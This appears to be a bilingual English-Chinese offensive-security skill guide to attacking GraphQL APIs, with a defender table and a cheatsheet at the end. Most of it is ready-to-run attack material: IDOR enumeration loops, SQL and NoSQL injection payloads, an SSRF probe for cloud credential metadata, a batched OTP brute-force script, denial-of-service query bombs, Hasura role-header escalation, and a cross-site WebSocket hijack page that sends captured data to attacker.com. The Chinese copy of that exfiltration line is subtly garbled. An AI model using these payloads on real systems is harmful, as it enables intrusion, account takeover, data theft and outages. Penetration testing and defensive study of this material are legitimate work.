offensive-graphql
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseOffensive GraphQL
GraphQL 进攻方法
GraphQL consolidates an entire API surface behind a single endpoint, making it a high-value target during web application assessments. Unlike REST, where each route maps to a discrete resource, a GraphQL schema exposes every type, field, mutation, and subscription in one queryable structure. Attackers who obtain or reconstruct that schema gain a complete map of the application's data model before writing a single exploit. This skill walks you through each phase of a GraphQL engagement with concrete queries, tool invocations, and chaining patterns.
GraphQL 将整个 API 攻击面集中到单一 endpoint 后,使其在 Web 应用评估期间成为高价值目标。与 REST 不同,每个 route 都对应一个独立资源,而 GraphQL schema 会在一个可查询结构中暴露所有 type、field、mutation 和 subscription。攻击者一旦获取或重建 schema,便可在编写任何 exploit 前完整掌握应用的数据模型。本 skill 将通过具体 query、工具调用和链式利用模式,介绍 GraphQL 评估的每个阶段。
Quick Workflow
快速工作流
- Discover the endpoint -- probe common paths, inspect client-side JS bundles, check WebSocket upgrade headers.
- Fingerprint the implementation -- use graphw00f to identify the engine and tailor payloads.
- Dump or reconstruct the schema -- full introspection query; if blocked, field suggestion probing or clairvoyance.
- Map the attack surface -- feed the schema into GraphQL Voyager or InQL.
- Test authentication and authorization -- every query and mutation with no token, low-privilege, and cross-user tokens.
- Inject through resolvers -- SQL, NoSQL, and OS command payloads through arguments and variables.
- Abuse batching -- arrayed operations for brute force, OTP bypass, and rate limit evasion.
- Stress depth and complexity -- nested queries, alias fans, and circular fragments.
- Probe subscriptions -- WebSocket with expired or missing tokens, subscribe to sensitive streams.
- Exfiltrate via errors -- verbose stack traces, type mismatches, field suggestions.
- Test file upload -- multipart GraphQL specification for oversized or malicious files.
- Chain and escalate -- combine findings into multi-step attack paths with proof-of-concept queries.
- 发现 endpoint -- 探测常见路径,检查客户端 JS bundle,并检查 WebSocket upgrade header。
- 识别实现指纹 -- 使用 graphw00f 识别 engine,并据此调整 payload。
- 导出或重建 schema -- 执行完整 introspection query;若被阻止,则使用字段建议探测或 clairvoyance。
- 映射攻击面 -- 将 schema 输入 GraphQL Voyager 或 InQL。
- 测试认证和授权 -- 分别使用无 token、低权限和跨用户 token 测试每个 query 与 mutation。
- 通过 resolver 注入 -- 通过 arguments 和 variables 注入 SQL、NoSQL 与 OS command payload。
- 滥用 batching -- 使用数组化 operation 进行暴力破解、OTP 绕过和速率限制规避。
- 压测深度与复杂度 -- 构造嵌套 query、alias fan 和循环 fragment。
- 探测 subscription -- 使用过期或缺失 token 建立 WebSocket,订阅敏感 stream。
- 通过错误外泄数据 -- 收集详细 stack trace、类型不匹配和字段建议。
- 测试文件上传 -- 使用 multipart GraphQL specification 测试超大或恶意文件。
- 链式组合并升级 -- 将各项发现组合成多步攻击路径,并提供 PoC query。
1 -- Endpoint Discovery and Fingerprinting
1 -- Endpoint 发现与指纹识别
Probe common paths with a minimal query body. A response confirms a live GraphQL endpoint.
__typenamebash
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .Paths to probe: , , , , , , , , . Some servers accept GET requests:
/graphql/graphiql/v1/graphql/v2/graphql/api/graphql/graphql/console/playground/explorer/querybash
curl -s "https://target.com/graphql?query=\{__typename\}"Fingerprint the implementation to determine default behaviors (introspection state, error format, batching syntax):
bash
python3 graphw00f.py -t https://target.com/graphqlRun graphql-cop for a one-pass configuration audit -- it reports introspection status, field suggestion leaks, GET-based query acceptance (CSRF risk), and unrestricted batching:
bash
python3 graphql-cop.py -t https://target.com/graphql使用最小 query body 探测常见路径。 响应可确认 GraphQL endpoint 有效。
__typenamebash
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' | jq .可探测的路径:、、、、、、、、。部分服务器接受 GET 请求:
/graphql/graphiql/v1/graphql/v2/graphql/api/graphql/graphql/console/playground/explorer/querybash
curl -s "https://target.com/graphql?query=\{__typename\}"识别具体实现,以确定其默认行为,包括 introspection 状态、错误格式和 batching 语法:
bash
python3 graphw00f.py -t https://target.com/graphql运行 graphql-cop 进行一次性配置审计 -- 它会报告 introspection 状态、字段建议泄露、基于 GET 的 query 接受情况(CSRF 风险)以及不受限制的 batching:
bash
python3 graphql-cop.py -t https://target.com/graphql2 -- Introspection and Blind Schema Reconstruction
2 -- Introspection 与盲 Schema 重建
Full Introspection Dump
完整 Introspection Dump
When introspection is enabled, pull the entire schema in one request. This is the single most valuable recon step.
graphql
query FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}Pipe the result into GraphQL Voyager for visual exploration, or load InQL in Burp Suite -- it parses the schema and generates individual queries for every field and mutation.
启用 introspection 时,可以通过一次 request 拉取完整 schema。这是价值最高的单项侦察步骤。
graphql
query FullIntrospection {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
kind name description
fields(includeDeprecated: true) {
name args { name type { ...T } defaultValue } type { ...T }
}
inputFields { name type { ...T } defaultValue }
interfaces { ...T }
enumValues(includeDeprecated: true) { name description }
possibleTypes { ...T }
}
directives { name description locations args { name type { ...T } } }
}
}
fragment T on __Type {
kind name ofType { kind name ofType { kind name ofType { kind name } } }
}将结果导入 GraphQL Voyager 进行可视化探索,或在 Burp Suite 中加载 InQL -- 它会解析 schema,并为每个 field 和 mutation 生成独立 query。
Targeted __type Queries
定向 __type
Query
__typeWhen full introspection is disabled but lookups still work (a common misconfiguration where the server blocks but forgets ):
__type__schema__typegraphql
query { __type(name: "User") { name fields { name type { name kind } } } }当完整 introspection 被禁用,但 lookup 仍然可用时(这是一种常见错误配置:服务器屏蔽了 ,却忘记屏蔽 ):
__type__schema__typegraphql
query { __type(name: "User") { name fields { name type { name kind } } } }Bypassing Disabled Introspection
绕过已禁用的 Introspection
Field suggestion oracle. Most engines return "Did you mean..." when you query a non-existent field. Submit plausible names and harvest suggestions:
graphql
query { __typename aaa }json
{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}Automate this with clairvoyance, which iterates a wordlist, collects suggestions, and assembles a reconstructed schema:
bash
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.jsonApollo Sandbox. If the target runs Apollo Server v3+, navigate to the endpoint in a browser. Apollo Sandbox performs introspection client-side even when the production toggle is off. Check Apollo Studio explorer if the server is registered there.
Client-side bundles. Search JS files for query strings, fragment definitions, and type names:
bash
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'字段建议 oracle。 大多数引擎在 query 不存在的 field 时会返回“Did you mean...”提示。提交合理的候选名称并收集建议:
graphql
query { __typename aaa }json
{
"errors": [{
"message": "Cannot query field \"aaa\" on type \"Query\". Did you mean \"user\", \"users\", \"admin\"?"
}]
}使用 clairvoyance 自动完成这一过程 -- 它会迭代 wordlist、收集建议,并组装重建后的 schema:
bash
python3 clairvoyance.py -t https://target.com/graphql -w wordlist.txt -o schema.jsonApollo Sandbox。 如果目标运行 Apollo Server v3+,可在 browser 中访问 endpoint。即使 production toggle 已关闭,Apollo Sandbox 仍会在 client-side 执行 introspection。如果 server 已注册到该服务,还应检查 Apollo Studio explorer。
Client-side bundle。 在 JS 文件中搜索 query string、fragment definition 和 type name:
bash
curl -s https://target.com/static/js/main.js | grep -oP '(query|mutation|fragment)\s+\w+'3 -- Authentication and Authorization Bypass
3 -- 认证与授权绕过
Authorization bugs are pervasive because developers must implement field-level checks manually in each resolver. A single missing check on a nested field can expose the entire object graph.
授权缺陷十分普遍,因为开发者必须在每个 resolver 中手动实现 field-level 检查。嵌套 field 上只要缺少一次检查,就可能暴露整个对象图。
IDOR Through Relay Node IDs
通过 Relay Node ID 实施 IDOR
Relay exposes a global interface that resolves any object by an opaque base64-encoded ID ():
nodeType:numericIDbash
echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123Forge IDs for other users and query through the node interface:
graphql
query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}Enumerate sequentially:
bash
for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
doneRelay 暴露了一个全局 interface,该 interface 可通过不透明的 base64 编码 ID()解析任意对象:
nodeType:numericIDbash
echo -n "VXNlcjoxMjM=" | base64 -d # Output: User:123为其他用户伪造 ID,并通过 node interface 执行 query:
graphql
query {
node(id: "VXNlcjoxMjQ=") {
... on User { id email role ssn }
}
}顺序枚举:
bash
for i in $(seq 1 100); do
id=$(echo -n "User:$i" | base64)
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" -H "Authorization: Bearer $TOKEN" \
-d "{\"query\":\"{ node(id: \\\"$id\\\") { ... on User { id email role } } }\"}"
doneNested Object Authorization Gaps
嵌套对象授权缺口
Authorization enforced on the top-level query often does not carry to nested relationships. Access your own Order, then check whether the customer field traverses to another user's data:
graphql
query {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}The resolver filters by your ID, but the resolver on Order may eagerly load the associated user without ownership checks.
myOrderscustomer仅在顶层 query 上执行的授权,通常不会传递到嵌套 relationship。先访问自己的 Order,再检查 customer field 是否能遍历到其他用户的数据:
graphql
query {
myOrders {
id
customer { id email paymentMethods { cardNumber expirationDate } }
}
}myOrderscustomerRelay Pagination and Cursor Manipulation
Relay Pagination 与 Cursor 操纵
Decode opaque cursors (often base64 of an offset) and manipulate the value. If the cursor decodes to , set it to to access records from the beginning:
cursor:999cursor:0graphql
query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}解码 opaque cursor(通常是 offset 的 base64 编码)并修改其值。如果 cursor 解码为 ,将其改为 即可访问从头开始的记录:
cursor:999cursor:0graphql
query {
users(first: 10, after: "Y3Vyc29yOjA=") {
edges { node { id email } cursor }
pageInfo { hasNextPage endCursor }
}
}Mutation Authorization
Mutation 授权
Test every state-changing mutation with no token, low-privilege tokens, and cross-tenant tokens:
graphql
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }使用无 token、低权限 token 和跨租户 token,测试每个会改变状态的 mutation:
graphql
mutation { updateUser(id: "OTHER_USER_ID", input: { role: "ADMIN" }) { id role } }
mutation { deleteAccount(userId: "OTHER_USER_ID") { success } }4 -- Injection Through Resolvers
4 -- 通过 Resolver 注入
Variables and arguments flow directly into resolver functions. String concatenation in resolvers creates classic injection vectors.
Variables 和 arguments 会直接流入 resolver function。resolver 中的字符串拼接会形成典型的 injection vector。
SQL Injection via Variables
通过 Variables 实施 SQL Injection
graphql
query GetUser($name: String!) { user(name: $name) { id email } }json
{"name": "admin' OR 1=1 --"}Escalate with UNION-based injection:
json
{"name": "' UNION SELECT username, password FROM admin_users --"}graphql
query GetUser($name: String!) { user(name: $name) { id email } }json
{"name": "admin' OR 1=1 --"}使用基于 UNION 的 injection 进一步扩大影响:
json
{"name": "' UNION SELECT username, password FROM admin_users --"}NoSQL Injection
NoSQL Injection
For MongoDB-backed resolvers:
json
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}Time-based detection:
graphql
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }对于由 MongoDB 支持的 resolver:
json
{"filter": {"username": {"$ne": ""}, "password": {"$ne": ""}}}基于时间的检测:
graphql
query { search(filter: "{\"$where\": \"sleep(5000)\"}") { results } }Directive Injection and Flooding
Directive Injection 与 Flooding
Directive flooding -- attaching thousands of directives to a single field -- crashes parsers (CVE-2024-47614 in async-graphql):
@include(if: true)graphql
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }Generate a payload with 10,000 directives programmatically. Custom or directives may also accept arguments you can manipulate to override server-side behavior.
@auth@constraintDirective flooding -- 为单个 field 附加数千个 directive -- 会导致 parser 崩溃(async-graphql 中的 CVE-2024-47614):
@include(if: true)graphql
query { __typename @include(if: true) @include(if: true) @include(if: true) ... }以编程方式生成包含 10,000 个 directive 的 payload。自定义 或 directive 也可能接受可操纵的 argument,从而覆盖 server-side 行为。
@auth@constraintSSRF Through Resolver Arguments
通过 Resolver Argument 实施 SSRF
If a mutation accepts a URL argument (webhooks, avatars, imports), test for SSRF:
graphql
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }如果 mutation 接受 URL argument(webhook、avatar、import),请测试 SSRF:
graphql
mutation { setAvatar(url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/") { success } }5 -- Batching Attacks
5 -- Batching 攻击
GraphQL servers commonly accept arrays of operations in a single HTTP request. Back-end rate limiters often count HTTP requests, not individual operations within a batch, enabling powerful bypass attacks.
GraphQL server 通常允许在单个 HTTP request 中提交 operation 数组。后端 rate limiter 往往按 HTTP request 计数,而不是按 batch 中的每个 operation 计数,因此可能被用于 powerful bypass。
Credential Brute Force
凭据暴力破解
json
[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]A single HTTP request carries hundreds of login attempts. The rate limiter sees one request.
json
[
{"query": "mutation { login(user: \"admin\", pass: \"password1\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password2\") { token } }"},
{"query": "mutation { login(user: \"admin\", pass: \"password3\") { token } }"}
]单个 HTTP request 可携带数百次登录尝试,而 rate limiter 只看到一个 request。
OTP / 2FA Bypass
OTP / 2FA 绕过
Batch all possible 4-digit OTP values in chunks:
python
import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")将所有可能的 4 位 OTP 按 chunk 批量提交:
python
import requests
ops = [{"query": f'mutation {{ verifyOTP(code: "{str(c).zfill(4)}") {{ success token }} }}'}
for c in range(10000)]
for i in range(0, len(ops), 500):
r = requests.post("https://target.com/graphql", json=ops[i:i+500],
headers={"Authorization": "Bearer <session_token>"})
for idx, res in enumerate(r.json()):
if res.get("data", {}).get("verifyOTP", {}).get("success"):
print(f"Valid OTP: {str(i + idx).zfill(4)}")Alias-Based Batching
基于 Alias 的 Batching
Some servers reject array batching but allow alias-based batching within a single query:
graphql
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}Automate with BatchQL and CrackQL:
bash
python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 500部分 server 会拒绝 array batching,但允许在单个 query 中使用 alias-based batching:
graphql
query {
a1: login(user: "admin", pass: "pass1") { token }
a2: login(user: "admin", pass: "pass2") { token }
a3: login(user: "admin", pass: "pass3") { token }
}使用 BatchQL 和 CrackQL 自动执行:
bash
python3 batch-ql.py -e https://target.com/graphql \
-q 'mutation { login(user: "admin", pass: "FUZZ") { token } }' -w passwords.txt
python3 CrackQL.py -t https://target.com/graphql -q query.graphql -i inputs.csv --batch-size 5006 -- Denial of Service
6 -- 拒绝服务
GraphQL's flexible query language is inherently susceptible to resource exhaustion unless the server enforces strict cost controls.
GraphQL 灵活的 query language 天生容易耗尽资源,除非 server 实施严格的 cost control。
Depth Bomb
Depth Bomb
Exploit circular relationships. If User has returning , nest indefinitely -- eight levels deep on a user with 100 friends each triggers 100^8 resolver calls:
friends[User]graphql
query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}利用循环关系。如果 User 的 返回 ,则可无限嵌套 -- 在每个用户拥有 100 个 friends 的情况下,嵌套八层会触发 100^8 次 resolver 调用:
friends[User]graphql
query DepthBomb {
users {
friends { friends { friends { friends { friends { friends {
id email
} } } } } }
}
}Alias Amplification
Alias Amplification
Request the same expensive field thousands of times using aliases. Each alias invokes the resolver independently:
graphql
query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}使用 alias 数千次请求同一个昂贵 field。每个 alias 都会独立调用 resolver:
graphql
query {
a1: expensiveReport(year: 2024) { data }
a2: expensiveReport(year: 2024) { data }
a3: expensiveReport(year: 2024) { data }
# ... repeat 1000 times
}Circular Fragment Spread
循环 Fragment Spread
Older implementations may not detect circular references, causing infinite recursion:
graphql
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }较旧的实现可能不会检测循环引用,从而导致无限递归:
graphql
fragment A on User { friends { ...B } }
fragment B on User { friends { ...A } }
query { user(id: 1) { ...A } }Incremental Delivery Abuse
增量传递滥用
If the server supports and , attach them to expensive subtrees to hold connections open and multiply compute:
@defer@streamgraphql
query {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}如果 server 支持 和 ,将它们附加到昂贵 subtree 上,以保持连接长时间打开并成倍增加计算量:
@defer@streamgraphql
query {
users(first: 1000) @stream(initialCount: 1) {
id
orders @defer { total items @stream(initialCount: 1) { name price } }
}
}7 -- Subscription Abuse and WebSocket Hijacking
7 -- Subscription 滥用与 WebSocket 劫持
Subscriptions run over WebSocket using or the older protocol. These long-lived connections present a distinct attack surface.
graphql-wssubscriptions-transport-wsSubscription 通过 WebSocket 运行,使用 或较旧的 protocol。这些长连接形成独特的攻击面。
graphql-wssubscriptions-transport-wsUnauthenticated Subscription
未认证 Subscription
Connect without authentication in the payload, then subscribe:
connection_initjson
{"type": "connection_init", "payload": {}}json
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}If the server does not validate connection_init, you receive real-time events for all new orders.
连接时在 payload 中不进行认证,然后 subscribe:
connection_initjson
{"type": "connection_init", "payload": {}}json
{"id": "1", "type": "subscribe", "payload": {"query": "subscription { newOrder { id customer { email } total } }"}}如果 server 未验证 ,你就能收到所有新订单的 real-time event。
connection_initToken Expiry on Long-Lived Connections
长连接上的 Token 过期
WebSocket connections persist after the initial handshake. If the server validates the JWT only during , a token that expires mid-session remains valid for the connection's lifetime. Test by connecting with a short-lived token, waiting for expiry, then sending a new subscription.
connection_initWebSocket connection 在初始 handshake 后会持续存在。如果 server 只在 期间验证 JWT,则 token 即使在 session 中途过期,仍会在该 connection 的整个生命周期内保持有效。测试方法是使用 short-lived token 建立连接,等待其过期,然后发送新 subscription。
connection_initCross-Site WebSocket Hijacking (CSWSH)
跨站 WebSocket 劫持(CSWSH)
If the WebSocket endpoint relies on cookies and does not validate the Origin header, hijack it from a malicious page:
html
<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.send(JSON.stringify({id:"1",type:"subscribe",
payload:{query:"subscription { sensitiveEvent { data } }"}}));
};
ws.onmessage = function(e) { fetch("https://attacker.com/c?d="+btoa(e.data)); };
</script>如果 WebSocket endpoint 依赖 cookie,且未验证 Origin header,则可以从恶意页面劫持连接:
html
<script>
var ws = new WebSocket("wss://target.com/graphql", "graphql-ws");
ws.onopen = function() {
ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.send(JSON.stringify({id:"1",type:"subscribe",
payload:{query:"subscription { sensitiveEvent { data } }"}}));
};
ws.onmessage = function(e) { fetch("https://attacker.com?c?d="+btoa(e.data)); };
</script>8 -- Information Disclosure and File Upload
8 -- 信息披露与文件上传
Verbose Error Messages
详细错误消息
GraphQL engines often return implementation details in errors. Send type-mismatched arguments to trigger stack traces:
json
{
"errors": [{
"message": "invalid input syntax for type integer: \"abc\"",
"extensions": {
"exception": {
"stacktrace": [
"Error: invalid input syntax for type integer: \"abc\"",
" at /app/node_modules/pg/lib/client.js:526:17",
" at /app/src/resolvers/user.js:42:12"
]
}
}
}]
}This reveals the database driver (PostgreSQL via ), file paths, and line numbers.
pgGraphQL engine 经常在 error 中返回 implementation detail。发送类型不匹配的 argument,以触发 stack trace:
json
{
"errors": [{
"message": "invalid input syntax for type integer: \"abc\"",
"extensions": {
"exception": {
"stacktrace": [
"Error: invalid input syntax for type integer: \"abc\"",
" at /app/node_modules/pg/lib/client.js:526:17",
" at /app/src/resolvers/user.js:42:12"
]
}
}
}]
}这会暴露 database driver(通过 使用的 PostgreSQL)、file path 和 line number。
pgField Suggestion as Schema Oracle
将字段建议作为 Schema Oracle
Even with introspection disabled, iterate through prefixes to reconstruct the schema via "Did you mean" responses:
text
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"即使 introspection 被禁用,也可迭代 prefix,通过“Did you mean”response 重建 schema:
text
Query field "a" -> "admin", "account"
Query field "b" -> "billing", "blog"
Query field "c" -> "customer", "config", "cart"Hasura and Apollo-Specific Leaks
Hasura 与 Apollo 特有的信息泄露
Hasura -- test and header injection when the admin secret is not enforced:
x-hasura-rolex-hasura-user-idbash
curl -s -X POST https://target.com/v1/graphql \
-H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
-d '{"query": "{ users { id email password_hash } }"}'Apollo Federation -- query the field for the full SDL of a subgraph:
_servicegraphql
query { _service { sdl } }Hasura -- 当 admin secret 未被强制执行时,测试 和 header injection:
x-hasura-rolex-hasura-user-idbash
curl -s -X POST https://target.com/v1/graphql \
-H "Content-Type: application/json" -H "x-hasura-role: admin" -H "x-hasura-user-id: 1" \
-d '{"query": "{ users { id email password_hash } }"}'Apollo Federation -- query 子图的 field,以获取完整 SDL:
_servicegraphql
query { _service { sdl } }File Upload via Multipart GraphQL
通过 Multipart GraphQL 上传文件
The multipart request specification enables file uploads through mutations. Test for path traversal, unrestricted types, and oversized uploads:
bash
curl -s -X POST https://target.com/graphql \
-F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F map='{"0":["variables.file"]}' \
-F 0=@malicious.phpAttack vectors: path traversal via manipulated JSON paths, content-type trust (upload / and check for magic byte validation), multi-gigabyte uploads for size limit testing, and predictable temp file paths that may be web-accessible before processing.
map.php.jspMultipart request specification 支持通过 mutation 上传文件。测试 path traversal、不受限制的类型以及超大上传:
bash
curl -s -X POST https://target.com/graphql \
-F operations='{"query":"mutation($file: Upload!) { uploadFile(file: $file) { url } }","variables":{"file":null}}' \
-F map='{"0":["variables.file"]}' \
-F 0=@malicious.php攻击向量包括:通过操纵 JSON path 实施 path traversal;信任 content type(上传 / 并检查是否验证 magic byte);上传数 GB 文件以测试 size limit;以及可预测的 temp file path,可能在处理前被 web 访问。
map.php.jspDetection / Defender View
检测/防御者视角
| Attack Category | Detection / Prevention |
|---|---|
| Introspection abuse | Disable in production ( |
| Field suggestion oracle | Disable suggestions (Apollo: custom plugin to strip; Yoga: |
| IDOR via node IDs | Enforce ownership checks in every resolver. Use UUIDs over sequential IDs. |
| Nested auth gaps | Schema-level authorization directives ( |
| SQL / NoSQL injection | Parameterized queries exclusively. Never concatenate user input. |
| Batching brute force | Limit batch size (max 5 operations). Rate-limit by operation count, not HTTP request count. |
| Alias amplification | Alias count limits. Query cost analysis (graphql-query-complexity, GraphQL Armor). |
| Depth bomb | Max query depth 7-10 (graphql-depth-limit, GraphQL Armor). |
| Subscription hijack | Validate auth on every |
| Verbose errors | Generic error messages in production. Strip stack traces and paths. |
| File upload abuse | Validate by magic bytes, enforce size limits, store outside web root, re-encode images. |
| CSRF | Require |
Key hardening tools: GraphQL Armor (depth, alias, cost, character limits for Apollo/Yoga/Envelop), persisted queries (allowlist known operations, reject ad-hoc queries via APQ with signature enforcement), and WAF rules that parse JSON bodies and inspect the field rather than just URL parameters.
query| 攻击类别 | 检测/防御 |
|---|---|
| Introspection 滥用 | 在 production 中禁用( |
| 字段建议 oracle | 禁用建议(Apollo:使用 custom plugin 移除;Yoga: |
| 通过 node ID 实施 IDOR | 在每个 resolver 中强制执行 ownership check。优先使用 UUID,而非 sequential ID。 |
| 嵌套 auth 缺口 | 使用 schema-level authorization directive( |
| SQL / NoSQL injection | 仅使用 parameterized query。绝不拼接 user input。 |
| Batching 暴力破解 | 限制 batch size(最多 5 个 operation)。按 operation 数量而非 HTTP request 数量执行 rate limit。 |
| Alias 放大 | 限制 alias 数量。进行 query cost analysis(graphql-query-complexity、GraphQL Armor)。 |
| Depth bomb | 将最大 query depth 限制为 7–10(graphql-depth-limit、GraphQL Armor)。 |
| Subscription 劫持 | 每次 |
| 详细错误 | 在 production 中使用通用 error message。移除 stack trace 和 path。 |
| 文件上传滥用 | 验证 magic byte,强制执行 size limit,存储于 web root 之外,并重新编码 image。 |
| CSRF | 要求 |
关键加固工具:GraphQL Armor(用于 Apollo/Yoga/Envelop 的深度、alias、成本和字符数限制)、persisted queries(通过带签名强制执行的 APQ,仅允许已知 operation,并拒绝临时 query),以及可解析 JSON body 并检查 field、而非只检查 URL parameter 的 WAF rule。
queryEngagement Cheatsheet
评估速查表
text
RECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager
BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser
AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Horizontal IDOR Decode Relay node IDs, substitute other user IDs
Vertical escalation Test admin mutations with low-privilege tokens
Nested traversal Follow relationships to reach unauthorized objects
Cursor manipulation Decode Relay cursors, modify offset values
INJECTION
SQLi via variables {"name": "admin' OR 1=1 --"}
NoSQL injection {"filter": {"$ne": ""}}
SSRF via URL args Point URL fields at 169.254.169.254
Directive flooding 10,000 @include(if: true) on a single field
BATCHING
Array batching [{"query":"mutation{login(...)}"}, ...]
Alias batching a1: login(...) a2: login(...) ...
OTP exhaustion Batch all 4-6 digit codes in chunks of 500
Tools CrackQL, BatchQL
DoS
Depth bomb Nest circular relationships 8+ levels
Alias amplification 1000+ aliases on an expensive resolver
Fragment cycle Circular fragment spreads (A -> B -> A)
Incremental delivery @defer/@stream on expensive subtrees
SUBSCRIPTIONS
No-auth subscribe connection_init with empty payload
Token expiry test Connect, wait for JWT expiry, send new subscription
CSWSH Cross-site WebSocket hijack via malicious page
FILE UPLOAD
Multipart spec -F operations=... -F map=... -F 0=@file
Path traversal Manipulate map JSON paths
Type bypass Upload executable with benign Content-Type
INFO DISCLOSURE
Verbose errors Type-mismatched arguments, observe stack traces
Federation SDL { _service { sdl } }
Hasura headers x-hasura-role: admin without admin secrettext
RECON
Endpoint discovery curl POST /graphql, /v1/graphql, /api/graphql with {__typename}
Fingerprint graphw00f -t <url>
Introspection dump Full __schema query via Altair or InQL
Config audit graphql-cop -t <url>
Visualize schema Introspection JSON into GraphQL Voyager
BLIND SCHEMA RECOVERY
Field suggestions Query invalid fields, collect "Did you mean" responses
Automated recovery clairvoyance -t <url> -w wordlist.txt
Client bundles grep -oP '(query|mutation|fragment)\s+\w+' main.js
Apollo sandbox Navigate to endpoint in browser
AUTH TESTING
No-auth access Replay every query/mutation without Authorization header
Horizontal IDOR Decode Relay node IDs, substitute other user IDs
Vertical escalation Test admin mutations with low-privilege tokens
Nested traversal Follow relationships to reach unauthorized objects
Cursor manipulation Decode Relay cursors, modify offset values
INJECTION
SQLi via variables {"name": "admin' OR 1=1 --"}
NoSQL injection {"filter": {"$ne": ""}}
SSRF via URL args Point URL fields at 169.254.169.254
Directive flooding 10,000 @include(if: true) on a single field
BATCHING
Array batching [{"query":"mutation{login(...)}"}, ...]
Alias batching a1: login(...) a2: login(...) ...
OTP exhaustion Batch all 4-6 digit codes in chunks of 500
Tools CrackQL, BatchQL
DoS
Depth bomb Nest circular relationships 8+ levels
Alias amplification 1000+ aliases on an expensive resolver
Fragment cycle Circular fragment spreads (A -> B -> A)
Incremental delivery @defer/@stream on expensive subtrees
SUBSCRIPTIONS
No-auth subscribe connection_init with empty payload
Token expiry test Connect, wait for JWT expiry, send new subscription
CSWSH Cross-site WebSocket hijack via malicious page
FILE UPLOAD
Multipart spec -F operations=... -F map=... -F 0=@file
Path traversal Manipulate map JSON paths
Type bypass Upload executable with benign Content-Type
INFO DISCLOSURE
Verbose errors Type-mismatched arguments, observe stack traces
Federation SDL { _service { sdl } }
Hasura headers x-hasura-role: admin without admin secretKey References
关键参考
- GraphQL specification: https://spec.graphql.org/
- GraphQL multipart request spec: https://github.com/jaydenseric/graphql-multipart-request-spec
- InQL (Burp extension): https://github.com/doyensec/inql
- graphql-cop (security auditor): https://github.com/dolevf/graphql-cop
- CrackQL (batching/brute force): https://github.com/nicholasaleks/CrackQL
- BatchQL (batch query tool): https://github.com/assetnote/batchql
- clairvoyance (schema reconstruction): https://github.com/nikitastupin/clairvoyance
